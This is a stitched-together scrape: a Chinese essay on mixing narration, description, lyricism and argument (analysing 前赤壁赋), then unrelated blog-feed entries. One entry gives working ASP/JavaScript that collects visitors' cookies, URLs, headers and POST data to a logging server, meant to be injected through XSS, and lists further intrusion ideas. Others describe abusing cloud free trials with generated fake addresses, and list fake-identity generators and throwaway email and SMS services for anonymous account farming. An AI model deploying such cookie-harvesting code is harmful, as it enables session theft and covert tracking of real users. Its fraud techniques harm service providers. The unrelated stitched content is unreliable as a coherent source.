不管谁先谁后，两者总是分不开的，没有答案，怎样出题目？没有题目，怎么作答？所以，在各门参考书里，题目和答案都是在一起的。如果只有答案，没有题目，答案又怎能算是答案呢？“整洁为强身之本” 是个答案吗？我还以为是个作文题目呢。
以上 “答案”，文字是我的，内容是人家的，虽然事隔多年，应该出入不大。这样的“答案” 能得分吗？讲究 “格律” 的阅卷委员认为连题目都不对，如何能成？“性灵派”的阅卷委员却说：“就文论文，应当给分！”这也是一个插曲。
在正常的情形下，究竟抒情、记叙、描写抑或议论，要看生活经验的内容。
“历险记” 总该以记叙为主。你心爱的小狗死了，你为它营葬，自然以抒情为主。别人对你有不公平的批评，或者对你热爱的事物有不公正的批评，你动了感情，但是写文章辩驳仍须明明白白讲道理，不能只感叹呐喊，除非是有口难言。风景必须描写，如果记叙，风景是死的，如果议论或抒情超过描写，那不啻你站在一幅好画前面挡住了别人的视线，未免不智。如果他埋葬了他心爱的狗，他要写一篇抒情文，他为何还要把记叙和描写 “装配” 进去呢？这因为文章除了整体效果还有局部效果。
抒情是这篇文章的整体效果。为了得到这效果，他可能要写出爱犬和他的亲密关系，例如蟑螂咬他的书，狗居然替他捉蟑螂。例如他夜晚迟归，狗总是在村外等着迎接，并且进了客厅就替他 “拿” 拖鞋。“亲密关系”是局部效果。想写出亲密关系，他得记叙。葬犬之日，他的心情应该沉重，心情沉重的人觉得风是凄风，雨是苦雨，如果那天天晴，他觉得连阳光都发黑，好像长了霉斑。他要把天气写得阴沉，这又是局部效果。要造成这个效果，他得描写。
有一位爱写作的年轻朋友对我说，他有一个题材。基隆某街有一座连一座的大楼，像长城一样挡住半边天，当然也挡住了风雨。大楼的 “邻居” 是一片空地，风雨总是掠过空地斜斜的扑到大楼的墙上。贴近大楼的墙根有一条窄小的水泥路。这是场景。在这个场地上，有一件事情使那位年轻的朋友想写作。每天下午，附近的小学放学，总有一个老翁牵着一个学童从楼下的水泥小径上走过。这是一位老祖父来接他的孙子。基隆几乎每天下午有雨，而且海港多风。大楼只能做这一边儿的屏障，另一边儿靠老祖父的一把伞。除了伞，还有他瘦弱的身体。他总是把孩子放在高楼和他的身体之间，由他做另一边儿的屏障。雨伞虽然在他手里，伞顶却总是偏到孩子头顶上。这样，细雨斜风就常常扑到他的身上，他的半个身子，自肩以下，总是湿的。后来老翁得了严重的风湿病。
这个题材怎么写呢，写成一篇什么样的文章呢？当然不能以议论为主。记叙，如我上面所写，难免粗疏，笔到而意不到。老祖父呵护小孩子是个令人心软的题材，两人年龄悬殊，孙子未来之日太长而祖父未来之日太短，恐怕孩子还没长大，祖父已经作古。写抒情文怎么样？恐怕不能笔酣墨饱的抒情，因为作者是旁观者，不是局中人，虽然心中有情，笔下却只能点到为止，否则就是情感 “泛滥”，失去美感。这个题材所以动人，是因为人物和环境配合起来。人物是一老一小，环境是高墙和空地。跟钢骨水泥的高墙相比，老翁何等孱弱，但是老翁担当的责任却和高墙相同：遮蔽风雨。看风雨在高墙上留下的剥蚀痕迹，真是 “人何以堪”！于是祖父身上就有了悲剧英雄的光辉。
这篇文章最好能把老人之老，幼童之幼，高墙之高，冷雨之冷都写出来，使之互相对映。这得描写。这该是一篇以描写为主的文章。单单使读者 “见到” 了老人之老，幼童之幼，高墙之高，冷雨之冷，还是不够。作者得使读者 “知道” 这一老一幼的背景历史，每天出现的原因，此地因何多雨。或者也得使读者 “知道” 路有多长，那把伞用了几年，修补过几次。要读者 “知道” 这些，得用叙述。这是此文的局部效果。
如此动人心弦的题材，倘若作者只是让我们 “知道” 和“见到”，而不展露他内心的感应，他未免太冷静了。作者要节制，但是冷静则是过于节制。过于节制可能导致读者冷感，削弱了文章的整体效果。作者是内心先有了激动，才想写这篇文章。作者要在叙述描写之中选几个地方做自己情感的出口。他得抒情。抒情的文句也许只需要三句两句，就把自己的心打开了，也把读者的心打开了，读者在 “知道”“见到” 之外又 “感到” 许多。这是另一种局部效果。
局部效果加强了整体效果。读者在 “知道” 和“感到”的帮助之下，对 “见到” 的环境和人物，就印象深刻，久久不忘。同理，在 “见到” 和“知道”的帮助之下，我们的 “感到” 可能刻骨铭心。在 “见到” 和“感到”的帮助之下，我们所 “知道” 的就更确切更真实。综台各种局部效果，“立方”似的形成整体效果，苏轼的 “前赤壁赋” 堪称杰作。这篇文章不但记叙、抒情、描写、议论皆备，还加进去诗歌。它首先是叙述：
壬戌之秋，七月既望，苏子与客，泛舟游于赤壁之下。
然后是描写：
清风徐来，水波不兴。
然后是叙述：
举酒属客，诵明月之诗，歌窈窕之章。
然后是描写：
少焉，月出于东山之上，徘徊于斗牛之间，白露横江，水光接天，纵一苇之所如，凌万顷之茫然。浩浩乎如凭虚御风而不知其所止，飘飘乎如遗世独立羽化而登仙。
然后是叙述：
于是饮酒乐什，叩舷而歌之。歌曰：
然后是诗歌：
桂棹兮兰浆，击空明兮溯流光，渺渺兮余怀，望美人兮天一方。
然后是叙述：
客有吹洞萧者，依歌而和之。
然后是描写：
其声呜呜然，如怨如慕，如泣如诉，余音袅袅，不绝如缕。舞幽壑之滑蛟，泣孤舟之嫠妇。
然后是叙述：
苏子悄然，正襟危坐，而问客曰：“何为其然也？” 客曰：
然后是议论，议论之中有叙述，用叙述帮助议论，又用描写帮助叙述：
“月明星稀，鸟鹊南飞”，此非曹孟德之诗乎？西望夏口，东望武昌，山川相缪，郁乎苍苍，此非孟德之败于周郎者乎？方其破荆州，下江陵，顺流而东也，舳舻千里，旌旗蔽空，酾江临江，横槊赋诗，固一世之雄也，而今安在哉！
继续议论，用描写帮助议论：
况吾与子渔樵于江渚之上，侣鱼虾而友麋鹿，架一叶之扁舟，举匏樽以相属，寄蜉蝣于天地，渺沧海之一粟。
继续议论，用抒情帮助议论：
哀吾生之须臾，羡长江之无穷，扶飞仙以遨游，抱明月而长终。知不可乎骤得，托遗响于悲风。
下面是议论：
苏子曰：客亦知夫水与月乎？逝者如斯而未尝往也，盈虚者如彼而卒莫消长也。盖将自其既变者而观之，则天地曾不能一瞬，就其不变者而观之，则物与我皆无尽也，而又何羡乎！且夫天地之间，物各有主，苟非我之所有，虽一毫而莫取。
下面用叙述帮助议论：
惟江上之清风，与山间之明月，耳得之而为声，目得之而成色，取之无尽，用之不竭。
继续议论：
是造物之无尽藏也，惟吾与子所共适。
下面是叙述，并且用描写帮助叙述：
客起而笑，洗盏更酌，肴核既尽，杯盘狼藉。相与枕藉乎舟中，不知东方之既白。
我们可以仔细观摩这篇文章。其中以描写、叙述、抒情来帮助议论，尤其值得注意。
议论文是要使人想，使人信。把记叙、描写、抒情融入议论，可以增加说服的力量。
议论文的骨干是一 “条” 普遍原理。（有一种议论文只推翻别人提出的普遍原理，只攻破别人的主张，自己并不建立什么。作文课堂上大概不写这类文章。）凡是“普遍原理”，其中都包含若干同类的具体事实。“我吃了一条红烧鱼”，这句话里头只有一条鱼，再也容不下别的鱼，这是一道菜，不包含第二道菜。这句话不是普遍原理。
我们不但吃红烧鱼，还吃糖醋鱼，还吃豆瓣鱼，还吃炸鲫鱼、煎带鱼、清炖鲤鱼、清炒银鱼。烧、炸、炖、煎、炒，是五件事，把这五件事纳入一个名词，就是 “烹调”。动词升高成为烹调，名词也跟着升高为 “海鲜”。海鲜不但包括各种鱼，还包括虾、干贝、鲍鱼、蛤蜊、九孔。
这样一来，整个句子的结构大起变化，句首的 “我” 字也跟着升高，变成 “人人”。海鲜，烹调，人人，都够抽象了，都包含许多东西在内。“普遍原理” 看看就要产生了，万事俱备，只欠东风。东风是，你在你的句子里下了判断，表示出是与非、对与错来。它可以判断许多事情。别人听到你的判断，举一反三，又可以用它判断其他同类的事情。
叙述、描写、抒情的句子通常不下判断。竹林七贤之一的阮藉，生逢乱世，惟恐说话得罪了人，就从来不说下判断的句子。据推想，他只叙述、描写或抒情，不发议论，免得要负起是非对错的责任。
如果就海鲜、烹调和 “人人” 之间的关系下一判断，可以写成 “烹调可使海鲜成为美味。” 这就包含了食谱上记载的许多事情，并且可以推知一般食谱上没有载明的若干事情。这句话可以算一条“普遍原理”。但是世上有些人不喜欢吃海鲜，他们可能讨厌这句话。
所以 “普遍原理” 也发生赞成与反对的问题。
“人总是不满现实的。” 这话有没有包括若干具体事实呢？有。某甲总是对他的学校不满，虽然别人认为他的学校已经不错了；某乙总是对他的家庭不满，虽然别人认为他的家庭已经不错了；某丙总是对他的职业不满，虽然别人认为他的职业已经不错了。
“人总是不满现实的”，人永远觉得他少一间房子，少一套衣服，存款的数字后而少一个零，小数点最好向后挪一挪。这话含有许多个别事实，但是没有下判断。如果下判断，可能有两种说法：
- 人有权利对现实不满。
- 人该知足，以免自寻烦恼。
这两种看法是互相排斥的。所以，写议论文的人常常互相辩论。
很可能，有人读了 “人有权利不满现实”，想想很有道理，渐渐变成不满现实的人了。另外有人读到 “人该知足以免自寻烦恼”，想想很有道理，就变成一个知足的人了。所以说，议论文使人想，使人信。
在 “前赤壁赋” 里面，“客”和苏子各有其对人生的看法，“客”认为人生无常，英雄豪杰到最后也是消失得无影无踪，何况一般人？生命有什么意义呢？苏子则认为大自然的美是永恒的，是丰富的，回归自然的人。有永恒的美感和丰富的生命。苏子的一番议论，使 “客” 改变了沉重的心情。
也许我们应该把 “客” 和“苏子”两人的意见连贯合并起来看。“客”是苏子的化身，反面意见的代言人。整个的意思是苏子看透了人生，要放弃名利，寄情山水，以大自然为心灵的归宿。
请注意：“前赤壁赋”的整体效果乃是抒情，其中的议论情见乎词，真是 “笔锋常带情感。” 写景则情景交融，无法区分。这篇文章叙事十分简明，如豆之棚，如瓜之架。作者写到最精采处，他的 “理” 时时随着写景抒情透露出来，许多句子是情、景、理三者交融。这是一种复杂的合奏。乐器虽然有好几种，但 “曲式” 是统一的，也就是说，无论抒情写景叙事说理，都用 “赋” 的句法，在 “赋” 的形式之中，大家是和谐一致的。
我想目前我们没有这个本领。不过我们得到的启示可以马上实行，那就是，以抒情为主的文章，其中的议论必须能帮助抒情而不扰乱、打断抒情。目前最 “安全” 的办法是，使用议论帮助抒情时，说理的句子要少，以防喧宾夺主。苏东坡才有办法写那么多，他是大文豪。同理：
- 用抒情帮助议论时，抒情的句子要少；
- 用记叙帮助议论时，记叙的句子要少；
- 用描写帮助议论时，描写的句子要少。
加以归纳，似乎可以得到一条 “普遍原理”。虽然很少，效果却可能很好。
公园里的草地是风景，是公共的财产，你 “不该” 去践踏它。这是议论。倘若接着描写草地是那么新鲜，那么清洁，那么柔软，也许使你更 “不愿” 踏它。由于“不愿”，你会更加相信“不该”。
春天，有些孩子爬上树去捉那在巢中嗷嗷待哺的雏，又多半不能好好的喂养，只是拿来玩弄一番。在他们手里，“雏”是活不长的。这一年，我们的树林里少了许多羽毛明亮的鸟。少了许多鸣声婉转的鸟。少了许多辛勤捕食害虫的鸟。这是大自然的损失，也是人类的损失。那些孩子实在 “不该” 这样做。倘若接着写，这也是鸟的损失，是 “雏” 的父母无可补偿的惨痛的损失。他们丧失了心爱的子女。你用抒情的笔法去写老鸟的痛苦。那些孩子不仅 “不该”，更是“不忍” 那么做了，而 “不忍” 使他们更相信“不该”。
下面找一个实例，察看议论文综合使用各种写法的情形。这个例子比较平易。它的写法是，先标出 “普遍原理” 来：
睦邻可以得到好邻居，好邻居使我们安宁快乐。
然后引用已经得到众人信服的 “名言”，支持此一 “原理”：
所谓敦亲睦邻，所谓远亲不如近邻，是中华民族在悠久的历史里凝聚而得的智慧。
此处所谓 “凝聚”，就是归纳。下面的写法是用反面的材料支持正面的原理，写出不睦邻的后果：
倘若邻居不能和睦相处，会是什么样的情形呢？有一位太太说，她有经验。下面叙述事实。她说，她家的客厅一向很干净。有一天，她从外面回来，满屋子都是油烟，呛得她马上咳嗽起来。怪了，油烟是从那里来的？仔细一研究，原来后面的邻居在厨房里装了一架抽风机，对准她家的窗子吹，把厨房里的油烟都吹到这边来了。她想，这成什么话呀，你会装抽风机，我不会吗？她马上也装了一架，尺寸比他的大，马力比他的强，开动以后声音也比他响。每天做饭的时候，两家对着吹。你吹得我家墙上的字画哗喇哗喇响，我吹得你家的锅碗叮当叮当响，天天过日子像打仗。
下面就这一段叙述，以反问的语气作一评断：
这样一来，两个家庭还能安宁吗？还能快乐吗？
下面以抒情帮助评断，以比喻帮助抒情：
一墙之隔的两家人，彼此暗算，彼此讨厌，那种日子是很痛苦的。为此，人要做多少恶梦？要有多少心烦意乱的日子？心里装满了愤恨，跟自己的家人要增加多少争吵？肉里插进一根刺的人，是要失去了正常的感觉的啊！
下面从正面发挥议论：
睦邻之道，千头万绪，但纲领只有四个字，就是 “自爱爱人。” 在这个原则下彼此相处，积极的一面可以互相合作，守望相助；消极的一面可以消除误会，避免纠纷。彼此和气，彼此热心，彼此有善意，谁也不紧张。
下面用描写帮助议论：
谁都希望他的隔墙是一瓶鲜花而不是一颗炸弹，谁都希望他的屋顶上是一个天使而不是一个魔鬼。
下面用诗句支持描写，再用描写支持议论：
“肯与邻翁相对饮，隔篱呼取尽余杯。”“岂独终身数相见，子孙犹作隔墙人。” 这样的诗，谁读了也要神往心动的。
下面回到议论：
所以，要记住：好邻居是我们美满生活的一部份。搬家之前，用心选择好邻居，搬家之后，用心创造好邻居。
- 博客 Jiajun的编程随想 2019-05-12 08:00:00《密码技术简明教程(一)：对称加密和非对称加密》密码技术好像不常用，偶尔我们才需要对接需要验签的接口。实际上密码技术很常用，只要你访问了https的网站，就用到了密码技术，甚至是解锁手机，也用到了密码技术...
- 博客 Jiajun的编程随想 2019-05-10 08:00:00《Kubernetes 笔记》> 读《Kubernetes in Action》后整理而来我们可以把一个或者多个容器打包在一起，就像用 `docker-compose` 时那样。我们把这样一个组合成为一个 `pod`。 pod是一个节点上，一个或多个容器的组合...
- 博客 Jiajun的编程随想 2019-05-09 08:00:00《go mod 和 logrus 路径大小写的问题》前段时间遇到了这么个问题：```bash...
- 博客 Jiajun的编程随想 2019-05-08 08:00:00《Flask自动加载Blueprint》写多了 `from controllers.xxx import xxx`, `app.register_blueprint(xxx)` 就想偷懒。于是就仿照 `unittest` 的实现思路来做了一个自动加载 `Blueprint` 的工具。使用方法如下...
- 博客 Jiajun的编程随想 2019-05-07 08:00:00《在KVM里安装Minikube》我要在本地搭建一个Kubernetes，所以要在本地安装minikube，这是一个相对简单也节省资源的方案，但是minikube默认使用virtualbox做虚拟机，而virtualbox的效率有点太低了，我要使用KVM...
- 博客 Jiajun的编程随想 2019-04-29 08:00:00《搞定面试中的系统设计题》一般来说，社招多少都会考察系统设计题，尤其是针对有了1年以上工作经验的工程师，这更是面试流程中的家常菜，除了面试之外，学会系统设计对我们的日常工作也是大有裨益的...
- 博客 庭说 2019-04-27 00:00:00
感谢 Google Cloud Platform（GCP，谷歌云）赠予 $300 和 12 个月（现在改为 90 天）免费试用期。
准备工作
- 科学上网环境：首先要具备访问 Google 的条件。先买一个月的 Just My Socks（下单优惠码
JMS9272283）或者其他免费的加速服务过渡一下 - 外币单标信用卡：要求没有银联标志，只有 Visa、Mastercard、American Express……，例如招商银行的 外币单标国际信用卡（有效期内免年费）
- Google 账号
- 在 YouTube（手机网页版）注册新账号可以验证国内的手机号码（
2019-03-01可能已失效） - 或在有 Google 服务框架的 Android 手机上注册
2019-05-02
- 在 YouTube（手机网页版）注册新账号可以验证国内的手机号码（
开始申请
- 申请地址
- 账号类：个人
- 申请国家：美国（因为没得选）
- 借助 地址生成器 获得美国地址，优选免税州（State）：Delaware / Montana / New Hampshire / Oregon
- 邮寄地址：与注册地址一致，或填写真实的地址
- 去邮箱查看激活邮件并上传身份证和银行卡，一般 10 分钟内解封
- Google 会从信用卡扣除 1 美元用于验证，验证完成后会退还到账户
- 不要点击页面的
升级或激活按钮，否则会从免费试用升级到付费帐号
创建防火墙规则
导航菜单 > VPC 网络 > 防火墙规则 > 创建防火墙规则
- 名称：随意
- 说明：随意
- 日志：默认
关闭 - 网络：默认
Default - 优先级：默认
1000 - 流量方向：默认
入站 - 对匹配项执行的操作：默认
允许 - 目标：
网络中的所有实例 - 来源过滤条件：
IP 地址范围 - 来源 IP 地址范围：
0.0.0.0/0 - 次要来源过滤条件：
无 - 协议和端口：
全部允许 - 执行（决定是否对关联目标应用规则）：
已启用
创建实例
导航菜单 > Compute Engine > VM（虚拟机）实例
创建- 名称：随意
- 区域：
asia-east1（台湾）- 不知道选哪个区域的 VM 实例，可以在 www.gcping.com 分别测试宽带网络和数据网络对 GCP 的延迟情况
- 地区：
asia-east1-c- a 和 b 也无妨
- 机器类型：
微型（1 个共享 vCPU）0.6 GB 内存，f1-micro对搭梯完全够用- 选择这个配置，每个月大概有 86 GB 加速流量可用
- 启动磁盘：
Debian GNU/Linux 9 (stretch) - 身份和 API 访问权限：默认
- 防火墙：勾选
允许 HTTP 流量和允许 HTTPS 流量 - 展开
管理、安全、磁盘、网络、单独租用网络网络接口-外部 IP-创建 IP 地址-保留新的静态 IP 地址-保留
部署科学上网工具
- 找到对应的示例，选择
SSH-在浏览器窗口中打开 - 输入
sudo -i切换到 root（开启管理员权限） - 接下来的步骤请移步 番茄种植指南
到期后如何再次申请
- 注册一个全新的谷歌账号
- 绑定同一张信用卡（也可不同）
- 按照以上步骤执行
亲测时间 2020 年 5 月 9 日。
你也可以去薅 Amazon 的羊毛：使用 AWS 免费搭建 SS + MTProto 服务端 - 李皓奇
- 科学上网环境：首先要具备访问 Google 的条件。先买一个月的 Just My Socks（下单优惠码
- 博客 Jiajun的编程随想 2019-04-25 08:00:00《Crontab + Sendmail实现定时任务并且通知》systemd timers真是不好用。或者说，我还是更喜欢crontab，简单易懂。最近我有个需求是定时从云主机把数据备份到笔记本上，一开始用的systemd timers，但是出错了也不通知我，于是用回crontab，而且还发先可以使用Linux自带的本地邮件的功能来实现提醒的功能...
- 博客 Jiajun的编程随想 2019-04-23 08:00:00《Nginx设置Referer来防止盗图》如果不是图床，还真怕别的网站直接使用本站图片。这样子流量很可能一下子就被刷光了，毕竟CDN都是白花花的银子买来的。因此，还是设置一个防盗链吧，Nginx就可以完成这个功能了...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-04-22 09:11:54
核总(https://lcx.cc/)在工作中经常需要追踪某个用户、访客的详细访问轨迹，用于逆向反查、调查分析、溯源追踪、电子取证，以帮助定位用户准确真实身份、实名信息，以及 IP 地址精确定位，最常见于犯罪调查、攻击事件溯源。
于是核总根据工作中的经验，做了一个高兼容度的 HTTP/HTTPS 访问轨迹跟踪程序，适用于任何支持 js 的网站或程序，可以直接载入或者使用 XSS 远程加载（你懂的），收集了几乎 HTTP 协议所能抓取到的所有访客信息。
信息维度
收集的信息覆盖范围主要包含以下维度：
1、服务器端和 HTTP 头：
- 访问时间
- 访问方法（GET/POST/HEAD）
- 访客 IP 地址
- 访客使用的端口
- 访客操作系统类型（User-Agent）
- 原始 HTTP 头(UTF8-URL 编码)
- 原始 Cookies 数据
- 原始 POST 数据
- 原始 GET 数据
2、客户端浏览器 js 脚本二次深度增强收集：
- href(document.location.href)
- top_href(top.location.href)
- opener((window.opener && window.opener.location.href) ? window.opener.location.href: ‘')
- title(document.title)
- cookie(document.cookie)
- referer(document.referrer)
- screen(screen.width + ‘*’ + screen.height)
- user-agent(navigator.userAgent)
提示一下，原始 HTTP 头中包含了更详细的系统信息，有完整的代理链路以及代理后的真实 IP 地址，例如字段：
- Client-IP
- True-Client-IP
- X-Client-IP
- X-Forwarded-For
- X-Forwarded-Host
- X-Originating-IP
- X-Real-IP
- X-Remote-Addr
- X-Remote-IP
增强升级
这些详细信息基本已经足够用了，但既然这个话题已经写到这里了，就多写点干货吧，其实还可以再深度升级一下，例如：
- 利用 res:// 协议刺探客户端文件信息、检测客户端环境、是否安装360、杀毒软件、某些系统文件等。
- 使用 HTML5 Canvas 计算客户端浏览器唯一指纹、指纹跟踪。
- 利用各大社交、购物、视频、ISP 运营商等网站的 cookies、xss、csrf、json 定位用户登录的账号信息。
- 还可以抓取访客手机号、QQ号。
- 还可以获取内网 IP 地址、Mac 地址、硬件信息、刺探内网资源。
- 甚至可以使用 js 利用漏洞或弱口令入侵内网 Windows 系统、Linux 系统、工控设备、路由器、摄像头、交换机等其他智能设备，高级渗透、反向入侵。
- 如果目标用户是移动客户端的话（例如微信或手机浏览器等），还可以尝试 HTML5 中新加的地理位置功能(Geolocation API)进行详细定位，获取精准 GPS 经纬度坐标信息。
- 核总(https://lcx.cc/)在这里抛砖引玉，各路大神自由发挥~
脚本源码
index.html
1 2 3 4 5 6 7 8 9 10 11 12 13<title>Test 测试</title> <body> <!-- <img src="#" onerror="x = document.createElement('script');x.src = 'js.asp';document.body.appendChild(x);" /> --> </body> <script type="text/javascript" src="js.asp"></script> <a href="#" onclick="window.open('index.html', '_blank');">opener</a> <script type="text/javascript"> document.write('<a href="http://localhost/?'+Math.floor(Math.random() * 999999 + 1)+'#'+Math.floor(Math.random() * 999999 + 1)+'">http://localhost/</a>') </script>js.asp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56<% 'On Error Resume Next ' 记录日志 savelog() ' 没有参数则输出 js 代码，收集更详细的信息 if request("href") = "" then outputjs() end if '--------------------------------------------------------------------------------------------------- public function outputjs() response.clear response.addheader "Content-Type", "application/javascript" %> (function() { var u = '//<%=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("SCRIPT_NAME")%>' + '?href=' + encodeURIComponent((function() {try {return document.location.href} catch(e) {return ''}})()) + '&top_href=' + encodeURIComponent((function() {try {return top.location.href} catch(e) {return ''}})()) + '&opener=' + encodeURIComponent((function() {try {return (window.opener && window.opener.location.href) ? window.opener.location.href: ''} catch(e) {return ''}})()) + '&title=' + encodeURIComponent((function() {try {return document.title} catch(e) {return ''}})()) + '&cookie=' + encodeURIComponent((function() {try {return document.cookie} catch(e) {return ''}})()) + '&referer=' + encodeURIComponent((function() {try {return document.referrer} catch(e) {return ''}})()) + '&screen=' + encodeURIComponent((function() {try {return screen.width + '*' + screen.height} catch(e) {return ''}})()) + '&user-agent=' + encodeURIComponent((function() {try {return navigator.userAgent} catch(e) {return ''}})()); if (document.body != null) { var x = document.createElement('script'); x.src = u; document.body.appendChild(x); } else { document.write('<scr' + 'ipt src=\'' + u + '\'></scr' + 'ipt>'); } })(); <% response.end end function public function savelog() ' 记录日志，格式：时间,方法,访客IP,访客端口,系统类型,原始HTTP头(UTF8-URL编码),Cookies数据,原始POST数据,原始GET数据 dim fso set fso = server.createobject("scripting.filesystemobject") set file = fso.opentextfile(server.mappath(".\cf3a7c3e_" & year(date) & month(date) & day(date) & ".txt"), 8, true) file.writeline now & vbtab & _ request.servervariables("request_method") & vbtab & _ request.servervariables("remote_addr") & vbtab & _ request.servervariables("remote_port") & vbtab & _ request.servervariables("http_user_agent") & vbtab & _ server.urlpathencode(request.servervariables("all_raw")) & vbtab & _ request.cookies & vbtab & _ request.form & vbtab & _ request.querystring file.close end function %>参考资料
【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
Microsoft RES 协议详解与安全 - RES 协议浅析
XSS检测客户端环境，javascript 检测客户端文件、系统环境
网站插入一段神奇代码 即可获取浏览者手机号码 截取访客电话号码 手机营销
- 博客 Jiajun的编程随想 2019-04-20 08:00:00《Graphviz dot简明教程》graphviz是一个用特殊的文本语言来生成图片的应用，可以生成有向图和无向图。dot就是那个特殊的文本语言。dot大概长这样...
- 博客 Jiajun的编程随想 2019-04-19 08:00:00《jQuery简明教程》> 偶尔才用用jQuery，但是老是不记得怎么用，所以总结一下做个笔记都9102年了，还在用jQuery？是的，有时候还是会用到jQuery...
- 博客 Jiajun的编程随想 2019-04-18 08:00:00《Python RQ(Redis Queue)添加gevent支持》python-rq简单好用，但缺点是，默认的实现是使用fork的模式，关于这点可以看[python-rq源码阅读与分析](https://jiajunhuang.com/articles/2017_09_20-task_queue_python_rq.md.html) ...
- 博客 Jiajun的编程随想 2019-04-17 08:00:00《技术人，光有技术是不行的》三年前，我刚毕业的时候，对技术一无所知，当然，现在也只是比以前知道的多了一点点。当时我觉得，技术人，要深度优先，广度次之。这是对的，坚持深度的这三年给我带来了很多提升。但是还记得语文课本上的卖油翁吗？...
- 博客 Jiajun的编程随想 2019-04-17 08:00:00《读《超级运营术》- 如何做社区？》这本书主要是讲如何去运营。因为最近在折腾一个 [社区](https://qipa.jiajunhuang.com) ，从技术上来说并不难，但是技术之外的东西我却不懂，因此需要学习一下...
- 博客 Jiajun的编程随想 2019-04-06 08:00:00《搭建aria2服务器》首先安装：```bash...
- 博客 Jiajun的编程随想 2019-04-06 08:00:00《使用shairport-sync搭建airplay音频服务器》Arch下直接：```bash...
- 博客 Jiajun的编程随想 2019-04-05 08:00:00《VirtManager Windows自适应屏幕》此前折腾过一次，最近在折腾btrfs的时候，因为磁盘大小不够，把原本的虚拟机给删掉了，重新装一个，因此又遇到了这个问题，因此记录一下解决方案...
- 博客 Randy's Blog 2019-04-03 08:00:001747
- 博客 Jiajun的编程随想 2019-04-03 08:00:00《使用btrfs组建RAID1》最近在折腾 `syncthing` 这个 P2P 的私人云盘，原本是在vps上搭建了一个，但是考虑到vps的数据也不安全，于是还是决定把数据保存在本地。但是由于单块硬盘是不可靠的，因此需要组一个RAID...
- 博客 Jiajun的编程随想 2019-04-01 08:00:00《Swagger? 不好用》最近用了一下swagger，swagger是一个用于把代码和文档连接起来的工具，我们在注释里写好一些东西，然后swagger生成出一个网页，这样可以方便的在网页上点一下测试，就可以发出一个请求。但是，实际体验中，并不好用，原因如下...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2019-03-31 15:27:39
核总(https://lcx.cc/)自从业以来，因为行业特殊，所以一直有各种相关需要，于是这些年从各个地方收集了一些国、内外免费临时接收邮箱及手机短信验证码的网站平台，数量比较多，抽时间进行了一些整理，在这里总结记录一下。
主要是一些匿名、临时、一次性的邮箱地址，以及可以免费收发短信验证码的手机号平台，方便注册各种账号时完全匿名、隐藏真实身份，像黑产大佬、灰产大佬和羊毛党们都精通此道，核总就不必多废话了……
而像核总(https://lcx.cc/)这种遵纪守法的好公民，最多也就随便注册下小号，避免泄漏个人真实信息，免的到处都收到各种垃圾骚扰广告信息。
匿名个人身份信息生成器
Generate a Random Name - Fake Name Generator
国外的一个随机匿名假身份信息生成器，可以生成一套包括姓名、性别、年龄、国家、身份证号、银行卡号、电话号码、邮箱地址、身高、体重、血型、车辆信息等的匿名身份资料，针对注册国外账户比较实用。
同时还附赠一个匿名假邮箱生成器，可以当作临时、一次性、匿名邮箱使用。
核总特别推荐，非常实用。
ProtonMail
https://protonmail.com/，一个可以完全匿名使用的电子邮箱。
ProtonMail 世界上最大的以个人隐私安全为特色的加密电子邮件提供商，总部在瑞士，2013 年由欧洲核子物理研究所（CERN）、麻省理工（MIT）、以及哈佛（Harvard）的研究人员联合创建，致力于为注重隐私和安全性的用户提供加密电子邮件服务。
支持免费和付费两类帐户，所有账户均使用端到端加密功能，默认启用 PGP 加密，支持使用 Tor 网络访问！
如果你需要安全性强，又有极高隐私且无广告的电子邮件信箱，ProtonMail 绝对是目前最好的选择。
以下是官方的介绍：
瑞士隐私·数据安全性和中立性
ProtonMail 在瑞士注册成立，我们所有的服务器都在瑞士。这意味着所有用户数据都受到严格的瑞士隐私法律的保护。
端到端加密·自动邮件安全
所有电子邮件都通过端到端加密自动保护。这意味着即使我们无法解密和阅读您的电子邮件。因此，您的加密电子邮件无法与第三方共享。
匿名电子邮件·保护您的隐私
创建您的安全电子邮件帐户不需要任何个人信息。默认情况下，我们不保留任何可链接到您的匿名电子邮件帐户的 IP 日志。您的隐私至上。
开源的·免费的安全电子邮件
我们认为电子邮件隐私应该对所有人开放。这就是为什么我们的代码是开源的，而ProtonMail基本帐户始终是免费的。
提示：ProtonMail 为了防止滥用，会根据注册环境判断是否需要人机验证，可以使用 https://www.guerrillamail.com/ 的 guerrillamail.org、grr.la 等后缀临时邮箱通过验证，另外注册时记得使用 Chrome 的隐身模式，或者每次修改 User-Agent，因为 protonmail 会根据浏览器指纹做判断，或者在验证的时候直接选择捐赠虚拟币，简单粗暴。
临时、一次性、匿名邮箱
临时邮箱- 马建军大学免费教育邮箱，可以通过一些网站的教育认证，享受教育优惠（白嫖）
Fake Mail Generator - Free temporary email addresses
查错网 - 临时邮箱、十分钟邮箱（10分钟)、临时邮、临时Email，还支持发邮件！
10分钟邮箱 - 10minutemail.net、10minutemail.org、10minutemail.info
Guerrilla Mail - Disposable Temporary E-Mail Address，支持发送邮件！
Moakt Email - 临时邮箱专业服务，支持发送邮件！
Temp Mail - Disposable Temporary Email
Temp Mail - Free Temporary Email
Temp Mail - Temporary Disposable Email Address
Temporary email. Email for 10 minutes or more.
https://linshiyou.com/（2020年2月14日发现已停止解析）由于平台较多，不能逐一验证、及时更新，欢迎联系我纠错、补充！
国内外手机号、短信验证码平台
SMS-Activate：老牌，一次性短信接码服务，全球虚拟号码，按量购买，注册号码方便
TextNow：注册可得免费号码,一周不用会回收(可订阅广告保号),但可以再选
Textfree：注册可得免费号码,一月不用会回收(可订阅广告保号),但可以再选
OnPhone - 第二个电话号码：手机APP,收费的,比较贵,可选国家比较多
SMS Man 免费短信验证服务：美国,英国,瑞典,荷兰,比利时,乌克兰,以色列,拉脱维亚,等国家
短信验证码在线接收码平台 - 隐私短信：英国,法国,美国,中国,德国,菲律宾,香港,加拿大
掠影网络 - 免费在线接收短信验证码：香港/美国/加拿大/中国，
之前的旧地址materialtools.com - 云短信 在线短信接收：号码多、号段好，中国,英国，
